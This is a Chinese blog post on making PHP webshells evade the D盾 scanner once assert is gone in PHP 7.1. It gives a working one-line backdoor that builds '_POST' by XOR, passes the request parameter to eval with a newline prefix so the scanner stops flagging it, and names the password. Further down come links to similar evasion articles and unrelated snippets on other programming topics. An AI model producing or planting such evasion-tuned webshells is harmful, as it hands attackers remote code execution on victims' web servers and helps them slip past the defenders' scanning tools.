PHP7.1后webshell免杀
严格的D盾
D盾说,我是个严格的人,看到eval我就报木马,“看着像“=”就是“木马,宁可错杀一千,绝不放过一个。好了,多说无益,一起看看严格的D盾是如何错杀的。
我随手写一个php文件:代码如下:
<?php
function encode($para0){
return $para0;
}
$b = encode("aaaa");
$a = "ccc";
eval($a);
?>
很明显没有传参呀,GET和POST都没有,压根儿就不是木马的,但是D盾竟然给我直接报了已知后门,我哭辽,如下:
大家最初的绕过应该大多都是基于”assert”的拆分和隐藏绕过的,但是在php7.1后assert已经被移除了,那么我们这些渗透测试er该何去何从呢?,能否找到新的技巧呢?当然,技巧千千万,找一些少见的函数,少见的特殊字符都是不错的选择。但是我们能否借助在php7.1之前的隐藏和拆分”assert“的思路呢?答案是肯定的,我们可以尝试隐藏和拆分传入eval中的参数来直面eval函数绕过。
隐藏POST和GET
在php7.1之后,如果我们转换思路,不再纠结于隐藏assert,eval等命令执行函数(因为assert已经失效,也无法隐藏了,无需隐藏了),而是直接面对eval,在我上述的例子中大家很容易看到,我就随便往eval中传了一个参数“ccc”,D盾就直接报已知后门了,这足以说明D盾对传入eavl参数的敏感性太高了。那么此时,我们隐藏一下我们一句话木马中常用和必须的GET和POST就有必要了。于是编写如下木马:(注明:此木马D盾会报一级可疑)
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval($b)
;
简单解释一下:
变量$a的值我是利用异或赋值的,$a = "~+d()"^"!{+{}";
,而字符串"~+d()"^"!{+{}"
异或的结果为_POST
,我直接输出给大家看看:
echo $a
即为如下结果:
然后$b = ${$a}[a];
与$b = $_POST[a]
等价,在将其传入eval()中,我们就成功了第一步,我们已经使得D盾报木马的级别降低了,由”5级 已知后门“变为”1级可疑(内藏)Eval后门{参数:$b(未知内容)}“了,哈哈,这就说明此时我们已经成功隐藏了我们所传入的参数,但是D盾在这里有点“我不认识的都可疑,宁可错杀一千,绝不放过一个了”,既然D盾这么较真,我们也较真点,彻底绕过。
经过上述测试发现,D盾只要在eval函数内发现了它未能识别的参数就会报出可疑,未知内容,又由于我们从一开始的切入点就是eval中的参数,所以此时我依旧针对eval中的参数进行处理:处理后的结果如下:
<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval("\n".$b);
?>
我们仅仅在参数$b
的前面加上“\n"
就成功绕过了,当然同理,你也可以在参数$b的前面加上""
、"\t"
、"\r"
等等也是可以绕过的。
木马密码:a
d盾扫描结果:
总结
在php7.1之后,显而易见的是免杀的难度大大增加了,因为灵活的assert被抛弃了,我们再也没有办法通过回调函数调用assert,或者其他的方式隐藏,拆分,调用assert,隐蔽的传参给assert。这个时候我们必须直面eval了,从传入eval的参数入手,隐藏GET和POST,配合一些特殊字符打乱正则,方可达到绕过检测的目的。当然也不排除使用特殊函数绕过。现在还能大量发表绕过的方法完全是因为现在还没有完全过度到php7.1之后,等到完全过度到php7.1之后估计大家的免杀马都要捂着用了,因为免杀的难度和代价变大了。此文供大家日后面对php7.1之后的环境参考绕过。
PHP7.1后webshell免杀的更多相关文章
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- JSP Webshell免杀设计
JSP Webshell免杀设计 @author:drag0nf1y 介绍 什么是Webshell? 被服务端解析执行的php.jsp文件 什么是RCE? remote command execute ...
- [9期]软WAF上传绕过+webshell免杀
安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data form-data 改成 f+orm-data form-data 改成 for ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
- Webshell免杀
过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- 20155308 《网络攻防》 Exp3 免杀原理与实践
20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...
- 20155318 《网络攻防》Exp3 免杀原理与实践
20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...
随机推荐
- pytorch——预测值转换为概率,单层感知机
softmax函数,可以将算出来的预测值转换成0-1之间的概率形式 导数的形式 import torch import torch.nn.functional as F x=torch.tensor( ...
- MySQL 中的临时表
在使用 explain 解析一个 sql 时,有时我们会发现在 extra 列上显示 using temporary ,这表示这条语句用到了临时表,那么临时表究竟是什么?它又会对 sql 的性能产生什 ...
- Lua大量字符串拼接方式效率对比及原因分析
Lua大量字符串拼接方式效率对比及原因分析_AaronChan的博客-CSDN博客_lua字符串拼接消耗 https://blog.csdn.net/qq_26958473/article/detai ...
- e.next = nil // avoid memory leaks e.prev = nil // avoid memory leaks
/Go/src/container/list/list.go:10
- Hive语法小释
阅读本文你可以获取: 1.数据库的查询 2.hive表的基本操作(建表三种常用方式.删除表.修改表.加载数据.内外表转换.添加分区.复制数据) 3.SQL到HiveQL的的一些不同点 1. 基本操 ...
- 【转载】【网络安全】渗透中 PoC、Exp、Payload 与 Shellcode 的区别
原文地址 渗透中 PoC.Exp.Payload 与 Shellcode 的区别 概念 PoC,全称"Proof of Concept",中文"概念验证",常指 ...
- Webpack4.0各个击破(7)plugin篇
目录 一. plugin概述 1.1 Plugin的作用 1.2 Compiler 1.3 Compilation 二. 如何写一个plugin 四. 实战 [参考] 一. plugin概述 1.1 ...
- python ---strip()方法,split()方法,删除字符串开头或结尾,字符串分隔
本文介绍了strip()方法,split()方法, 字典的按键值访问的方法, 1.Python strip() 方法用于移除字符串头尾指定的字符(默认为空格)或字符序列. 注意:该方法只能删除开头或是 ...
- scanf()函数释疑(word找的,没源地址了)
scanf()函数释疑(上) 一.序言 scanf()函数的控制串的使用 例1. #include "stdio.h" int main(void) { int a,b,c; sc ...
- Flink-v1.12官方网站翻译-P018-Event Time
事件时间 在本节中,您将学习如何编写时间感知的Flink程序.请看一下及时流处理,了解及时流处理背后的概念. 关于如何在Flink程序中使用时间的信息请参考windowing和ProcessFunct ...